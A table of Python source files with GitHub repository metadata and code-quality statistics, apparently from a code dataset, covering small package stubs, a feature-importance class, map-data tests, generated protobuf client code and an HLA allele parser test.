hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ffaf5a836e2debdde7cc117fb46bb32c78c6dd44 | 40 | py | Python | progress_text/__init__.py | LinjianLi/progress-text | 00bcabe5b0aba1cabc7fb41616c39981ba350d65 | [
"Apache-2.0"
] | null | null | null | progress_text/__init__.py | LinjianLi/progress-text | 00bcabe5b0aba1cabc7fb41616c39981ba350d65 | [
"Apache-2.0"
] | null | null | null | progress_text/__init__.py | LinjianLi/progress-text | 00bcabe5b0aba1cabc7fb41616c39981ba350d65 | [
"Apache-2.0"
] | null | null | null | from .ProgressText import ProgressText
| 13.333333 | 38 | 0.85 | 4 | 40 | 8.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 40 | 2 | 39 | 20 | 0.971429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
440e0b4098e37003490a9842f8f0cd26e5797170 | 39 | py | Python | tests/provider/__init__.py | thrau/pymq | 7b924d475af8efb1e67e48a323d3f715a589a116 | [
"MIT"
] | 9 | 2019-08-20T20:31:56.000Z | 2022-03-13T23:17:05.000Z | tests/provider/__init__.py | thrau/pymq | 7b924d475af8efb1e67e48a323d3f715a589a116 | [
"MIT"
] | 9 | 2019-08-20T21:13:23.000Z | 2020-10-20T11:48:21.000Z | tests/provider/__init__.py | thrau/pymq | 7b924d475af8efb1e67e48a323d3f715a589a116 | [
"MIT"
] | null | null | null | """Provider-specific whitebox tests"""
| 19.5 | 38 | 0.74359 | 4 | 39 | 7.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 39 | 1 | 39 | 39 | 0.805556 | 0.820513 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
4416adb4829a9d1acd43af48493466ebea8aeb46 | 35 | py | Python | example_pkg_napsterinblue/__init__.py | NapsterInBlue/example_pkg_napsterinblue | 553797208f9717ed3ca35b10f1ce2ce81c88b534 | [
"MIT"
] | null | null | null | example_pkg_napsterinblue/__init__.py | NapsterInBlue/example_pkg_napsterinblue | 553797208f9717ed3ca35b10f1ce2ce81c88b534 | [
"MIT"
] | null | null | null | example_pkg_napsterinblue/__init__.py | NapsterInBlue/example_pkg_napsterinblue | 553797208f9717ed3ca35b10f1ce2ce81c88b534 | [
"MIT"
] | null | null | null | name = 'example_pkg_napsterinblue'
| 17.5 | 34 | 0.828571 | 4 | 35 | 6.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085714 | 35 | 1 | 35 | 35 | 0.84375 | 0 | 0 | 0 | 0 | 0 | 0.714286 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
441c917cab7b7994a9f8d7b2ea4e09aa0b82d906 | 39 | py | Python | tests/components/climate/__init__.py | MrDelik/core | 93a66cc357b226389967668441000498a10453bb | [
"Apache-2.0"
] | 30,023 | 2016-04-13T10:17:53.000Z | 2020-03-02T12:56:31.000Z | tests/components/climate/__init__.py | jagadeeshvenkatesh/core | 1bd982668449815fee2105478569f8e4b5670add | [
"Apache-2.0"
] | 31,101 | 2020-03-02T13:00:16.000Z | 2022-03-31T23:57:36.000Z | tests/components/climate/__init__.py | jagadeeshvenkatesh/core | 1bd982668449815fee2105478569f8e4b5670add | [
"Apache-2.0"
] | 11,956 | 2016-04-13T18:42:31.000Z | 2020-03-02T09:32:12.000Z | """The tests for climate component."""
| 19.5 | 38 | 0.692308 | 5 | 39 | 5.4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128205 | 39 | 1 | 39 | 39 | 0.794118 | 0.820513 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
444f923b74c14e586905b983f109b42ac17f285e | 1,530 | py | Python | python/federatedml/ensemble/basic_algorithms/decision_tree/tree_core/feature_importance.py | hubert-he/FATE | 6758e150bd7ca7d6f788f9a7a8c8aea7e6500363 | [
"Apache-2.0"
] | 3,787 | 2019-08-30T04:55:10.000Z | 2022-03-31T23:30:07.000Z | python/federatedml/ensemble/basic_algorithms/decision_tree/tree_core/feature_importance.py | hubert-he/FATE | 6758e150bd7ca7d6f788f9a7a8c8aea7e6500363 | [
"Apache-2.0"
] | 1,439 | 2019-08-29T16:35:52.000Z | 2022-03-31T11:55:31.000Z | python/federatedml/ensemble/basic_algorithms/decision_tree/tree_core/feature_importance.py | hubert-he/FATE | 6758e150bd7ca7d6f788f9a7a8c8aea7e6500363 | [
"Apache-2.0"
] | 1,179 | 2019-08-29T16:18:32.000Z | 2022-03-31T12:55:38.000Z | class FeatureImportance(object):
def __init__(self, importance=0, importance_2=0, main_type='split'):
self.legal_type = ['split', 'gain']
assert main_type in self.legal_type, 'illegal importance type {}'.format(main_type)
self.importance = importance
self.importance_2 = importance_... | 33.26087 | 113 | 0.585621 | 165 | 1,530 | 5.133333 | 0.193939 | 0.247934 | 0.088548 | 0.171192 | 0.344746 | 0.344746 | 0.210153 | 0.210153 | 0.099174 | 0 | 0 | 0.014437 | 0.320915 | 1,530 | 45 | 114 | 34 | 0.80077 | 0 | 0 | 0.2 | 0 | 0 | 0.065359 | 0 | 0 | 0 | 0 | 0 | 0.028571 | 1 | 0.228571 | false | 0 | 0.514286 | 0.085714 | 0.971429 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
447a6bee0a1d32e4317b1baa31c8a66ab92b6117 | 93 | py | Python | shortener/admin.py | mentix02/shorty | aadc63f5f43c19b2b7b38919b3c6c2129618718f | [
"MIT"
] | null | null | null | shortener/admin.py | mentix02/shorty | aadc63f5f43c19b2b7b38919b3c6c2129618718f | [
"MIT"
] | null | null | null | shortener/admin.py | mentix02/shorty | aadc63f5f43c19b2b7b38919b3c6c2129618718f | [
"MIT"
] | null | null | null | from django.contrib import admin
from shortener.models import URL
admin.site.register(URL)
| 15.5 | 32 | 0.817204 | 14 | 93 | 5.428571 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11828 | 93 | 5 | 33 | 18.6 | 0.926829 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
923251d0bcb2fc2da0b5e348c67fedfc2b0e186a | 277 | py | Python | code/Pages/__init__.py | HengyueLi/PersonalButler | 3b6214502b2d35dc9433fbc7eed1af5d7fdd0b63 | [
"MIT"
] | 1 | 2021-08-29T01:40:12.000Z | 2021-08-29T01:40:12.000Z | code/Pages/__init__.py | HengyueLi/PersonalButler | 3b6214502b2d35dc9433fbc7eed1af5d7fdd0b63 | [
"MIT"
] | 1 | 2020-04-23T14:07:53.000Z | 2020-04-23T14:07:53.000Z | code/Pages/__init__.py | HengyueLi/PersonalButler | 3b6214502b2d35dc9433fbc7eed1af5d7fdd0b63 | [
"MIT"
] | 1 | 2021-08-31T04:19:56.000Z | 2021-08-31T04:19:56.000Z |
from .index import *
# login page
from .login import *
#
from .SignUp import *
#
from .ChangePassword import *
#
from .profile import *
#
from .Password import *
#
from .Relation import *
#
from .Diary import *
#
from .shutdownserver import *
#
from .exportimport import *
| 11.541667 | 29 | 0.696751 | 32 | 277 | 6.03125 | 0.40625 | 0.414508 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.198556 | 277 | 23 | 30 | 12.043478 | 0.869369 | 0.036101 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.2 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 5 |
924042a667c8114aa38987cd254366e928b9d728 | 2,994 | py | Python | integration-test/1408-building-material.py | roman-ianivskyy/vector-datasource | 3d59c0d9856d6bc2a78c4a9273b4e850c2e41d92 | [
"MIT"
] | null | null | null | integration-test/1408-building-material.py | roman-ianivskyy/vector-datasource | 3d59c0d9856d6bc2a78c4a9273b4e850c2e41d92 | [
"MIT"
] | null | null | null | integration-test/1408-building-material.py | roman-ianivskyy/vector-datasource | 3d59c0d9856d6bc2a78c4a9273b4e850c2e41d92 | [
"MIT"
] | null | null | null | # -*- encoding: utf-8 -*-
import dsl
from shapely.wkt import loads as wkt_loads
from . import FixtureTest
class BuildingMaterial(FixtureTest):
def test_building_material(self):
self.generate_fixtures(dsl.way(135174116, wkt_loads('POLYGON ((-122.405489487052 37.79049399242389, -122.405257182719 37.790521... | 110.888889 | 1,171 | 0.731797 | 372 | 2,994 | 5.827957 | 0.456989 | 0.029059 | 0.013838 | 0.02214 | 0.083026 | 0.083026 | 0.035055 | 0 | 0 | 0 | 0 | 0.48992 | 0.12191 | 2,994 | 26 | 1,172 | 115.153846 | 0.334728 | 0.007682 | 0 | 0.111111 | 0 | 0.166667 | 0.698215 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.111111 | false | 0 | 0.166667 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
924ae3105ffd86d8217e3a79c3205a1643a28ff2 | 85 | py | Python | divide_and_conquer/euclid.py | MelkiyHondavod/computations | 5ccb28c2021270e25c23ae9836979ae63febc66a | [
"Apache-2.0"
] | null | null | null | divide_and_conquer/euclid.py | MelkiyHondavod/computations | 5ccb28c2021270e25c23ae9836979ae63febc66a | [
"Apache-2.0"
] | null | null | null | divide_and_conquer/euclid.py | MelkiyHondavod/computations | 5ccb28c2021270e25c23ae9836979ae63febc66a | [
"Apache-2.0"
] | 4 | 2020-12-16T18:12:02.000Z | 2021-06-05T08:45:26.000Z | # Реализуйте алгоритм Евклида с помощью рекурсии
def euclidus(a, b):
return a | 21.25 | 49 | 0.717647 | 12 | 85 | 5.083333 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.223529 | 85 | 4 | 50 | 21.25 | 0.924242 | 0.541176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
9268f4a1b96e10507f21449e3eadacde420105cb | 107 | py | Python | lantz/drivers/allied_vision/tests/vimbatest.py | mtsolmn/lantz-drivers | f48caf9000ddd08f2abb837d832e341410af4788 | [
"BSD-3-Clause"
] | 4 | 2019-05-04T00:10:53.000Z | 2020-10-22T18:08:40.000Z | lantz/drivers/allied_vision/tests/vimbatest.py | mtsolmn/lantz-drivers | f48caf9000ddd08f2abb837d832e341410af4788 | [
"BSD-3-Clause"
] | 3 | 2019-07-12T13:44:17.000Z | 2020-10-22T19:32:08.000Z | lantz/drivers/allied_vision/tests/vimbatest.py | mtsolmn/lantz-drivers | f48caf9000ddd08f2abb837d832e341410af4788 | [
"BSD-3-Clause"
] | 9 | 2019-04-03T17:07:03.000Z | 2021-02-15T21:53:55.000Z | from lantz.drivers.allied_vision import list_cameras
if __name__ == '__main__':
print(list_cameras())
| 21.4 | 52 | 0.766355 | 14 | 107 | 5.071429 | 0.857143 | 0.309859 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130841 | 107 | 4 | 53 | 26.75 | 0.763441 | 0 | 0 | 0 | 0 | 0 | 0.074766 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0.333333 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
927b24926d165dc304cffbe68cb8433c014fa5bf | 168 | py | Python | funcy/__init__.py | ruancomelli/funcy | be16b84b5a238bd83fc4929bcfecb25eeb391cd6 | [
"BSD-3-Clause"
] | 1,914 | 2015-01-03T03:48:48.000Z | 2022-03-31T16:58:11.000Z | funcy/__init__.py | ruancomelli/funcy | be16b84b5a238bd83fc4929bcfecb25eeb391cd6 | [
"BSD-3-Clause"
] | 85 | 2015-01-20T09:34:33.000Z | 2022-03-31T10:51:28.000Z | funcy/__init__.py | ruancomelli/funcy | be16b84b5a238bd83fc4929bcfecb25eeb391cd6 | [
"BSD-3-Clause"
] | 112 | 2015-01-08T05:07:10.000Z | 2022-02-16T18:11:39.000Z | from .compat import PY2
if PY2:
from .py2 import * # noqa
from .py2 import __all__
else:
from .py3 import * # noqa
from .py3 import __all__ # noqa
| 16.8 | 36 | 0.630952 | 24 | 168 | 4.083333 | 0.375 | 0.142857 | 0.265306 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.050847 | 0.297619 | 168 | 9 | 37 | 18.666667 | 0.779661 | 0.083333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.714286 | 0 | 0.714286 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
928006b07bf1f186d4f457c2d14a41d2e664f858 | 38 | py | Python | StraightEdge/__init__.py | Apollo2707/StraightEdge | e435d637eaaed22389f70175775159a4ce40a92d | [
"MIT"
] | null | null | null | StraightEdge/__init__.py | Apollo2707/StraightEdge | e435d637eaaed22389f70175775159a4ce40a92d | [
"MIT"
] | null | null | null | StraightEdge/__init__.py | Apollo2707/StraightEdge | e435d637eaaed22389f70175775159a4ce40a92d | [
"MIT"
] | null | null | null | from .text import
from .base import
| 12.666667 | 18 | 0.736842 | 6 | 38 | 4.666667 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.210526 | 38 | 2 | 19 | 19 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 1 | null | null | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
9296416758cdc511ef120cc832abef99df5c6d34 | 31 | py | Python | trackanbanboard/__init__.py | compso/TracKanbanBoard | 989cb66f20bfcc86da7f59ca80bf4f63fc586fc0 | [
"BSD-3-Clause"
] | 1 | 2021-02-28T23:07:28.000Z | 2021-02-28T23:07:28.000Z | trackanbanboard/__init__.py | hardyoyo/trac-kanban-board | d46ddd971957bc4045ae243a2cbdb937d35ab400 | [
"BSD-3-Clause"
] | null | null | null | trackanbanboard/__init__.py | hardyoyo/trac-kanban-board | d46ddd971957bc4045ae243a2cbdb937d35ab400 | [
"BSD-3-Clause"
] | 1 | 2020-09-15T11:05:43.000Z | 2020-09-15T11:05:43.000Z | from kanbanboardmacro import *
| 15.5 | 30 | 0.83871 | 3 | 31 | 8.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 0.962963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
92a17e2be9a8bc2e3632e03876c6e0959f1bc1a2 | 398 | py | Python | exercicios/pcex108/moeda.py | EduardoPessanha/Git-Python | 87aa10af09510469032732ed2c55d0d65eb4c1d6 | [
"MIT"
] | null | null | null | exercicios/pcex108/moeda.py | EduardoPessanha/Git-Python | 87aa10af09510469032732ed2c55d0d65eb4c1d6 | [
"MIT"
] | null | null | null | exercicios/pcex108/moeda.py | EduardoPessanha/Git-Python | 87aa10af09510469032732ed2c55d0d65eb4c1d6 | [
"MIT"
] | null | null | null | def aumentar(n, taxa=0):
res = n + (n * taxa / 100)
return res # moeda(res)
# return res
def diminuir(n=0, taxa=0):
res = n - (n * taxa / 100)
return res # moeda(res)
def dobro(n=0):
res = n * 2
return res # moeda(res)
def metade(n):
res = n / 2
return res # moeda(res)
de... | 15.92 | 42 | 0.505025 | 65 | 398 | 3.092308 | 0.276923 | 0.268657 | 0.278607 | 0.338308 | 0.60199 | 0.587065 | 0.587065 | 0.587065 | 0.338308 | 0.338308 | 0 | 0.047273 | 0.309045 | 398 | 24 | 43 | 16.583333 | 0.683636 | 0.135678 | 0 | 0.333333 | 0 | 0 | 0.044379 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 5 |
92a57e2b34f8c8661e06e4f910d94f88fe91e4ed | 83 | py | Python | fastdebug/__init__.py | muellerzr/fastdebug | 45a370aa408d382b5d58e403a6bea34705574844 | [
"Apache-2.0"
] | 26 | 2021-04-22T23:08:23.000Z | 2022-01-10T23:54:07.000Z | fastdebug/__init__.py | muellerzr/fastdebug | 45a370aa408d382b5d58e403a6bea34705574844 | [
"Apache-2.0"
] | 7 | 2021-04-23T03:26:09.000Z | 2021-06-22T05:17:14.000Z | fastdebug/__init__.py | muellerzr/fastdebug | 45a370aa408d382b5d58e403a6bea34705574844 | [
"Apache-2.0"
] | 5 | 2021-04-25T14:56:25.000Z | 2022-02-01T17:35:57.000Z | __version__ = "0.1.3"
from fastdebug.torch import *
from fastdebug.fastai import * | 20.75 | 30 | 0.759036 | 12 | 83 | 4.916667 | 0.75 | 0.440678 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.041667 | 0.13253 | 83 | 4 | 30 | 20.75 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0.059524 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
2bb266b7f0247ef6f73bd57f106cddd431b99cc0 | 37,697 | py | Python | python_pb2/go/chromium/org/luci/common/proto/gerrit/gerrit_prpc_pb2.py | xswz8015/infra | f956b78ce4c39cc76acdda47601b86794ae0c1ba | [
"BSD-3-Clause"
] | null | null | null | python_pb2/go/chromium/org/luci/common/proto/gerrit/gerrit_prpc_pb2.py | xswz8015/infra | f956b78ce4c39cc76acdda47601b86794ae0c1ba | [
"BSD-3-Clause"
] | 4 | 2022-03-17T18:58:21.000Z | 2022-03-17T18:58:22.000Z | python_pb2/go/chromium/org/luci/common/proto/gerrit/gerrit_prpc_pb2.py | xswz8015/infra | f956b78ce4c39cc76acdda47601b86794ae0c1ba | [
"BSD-3-Clause"
] | null | null | null | # Generated by the pRPC protocol buffer compiler plugin. DO NOT EDIT!
# source: go.chromium.org/luci/common/proto/gerrit/gerrit.proto
import base64
import zlib
from google.protobuf import descriptor_pb2
# Includes description of the go.chromium.org/luci/common/proto/gerrit/gerrit.proto and all of its transitive
# d... | 78.372141 | 112 | 0.880548 | 1,622 | 37,697 | 20.454377 | 0.926634 | 0.002532 | 0.002562 | 0.00205 | 0.007535 | 0.00639 | 0.00639 | 0.00639 | 0.00639 | 0.003677 | 0 | 0.152844 | 0.063135 | 37,697 | 480 | 113 | 78.535417 | 0.786562 | 0.007401 | 0 | 0 | 1 | 0 | 0.903215 | 0.900703 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.006369 | 0 | 0.006369 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
9204bd9ca7c2e88007782c0c62dfa76329d890a0 | 1,222 | py | Python | test/test_standard_format.py | til-unc/mhcgnomes | 0bfbe193daeb7cd38d958222f6071dd657e9fb6e | [
"Apache-2.0"
] | 6 | 2020-10-27T15:31:32.000Z | 2020-11-29T03:26:06.000Z | test/test_standard_format.py | til-unc/mhcgnomes | 0bfbe193daeb7cd38d958222f6071dd657e9fb6e | [
"Apache-2.0"
] | 4 | 2020-10-27T14:57:16.000Z | 2020-11-04T21:56:39.000Z | test/test_standard_format.py | pirl-unc/mhcgnomes | 0bfbe193daeb7cd38d958222f6071dd657e9fb6e | [
"Apache-2.0"
] | null | null | null | from mhcgnomes.standard_format import parse_standard_allele_format
from mhcgnomes import Allele
from nose.tools import eq_
def test_parse_standard_allele_format_HLA_A_02_01():
result = parse_standard_allele_format(seq="HLA-A*02:01")
eq_(result, Allele.get("HLA", "A", "02", "01"))
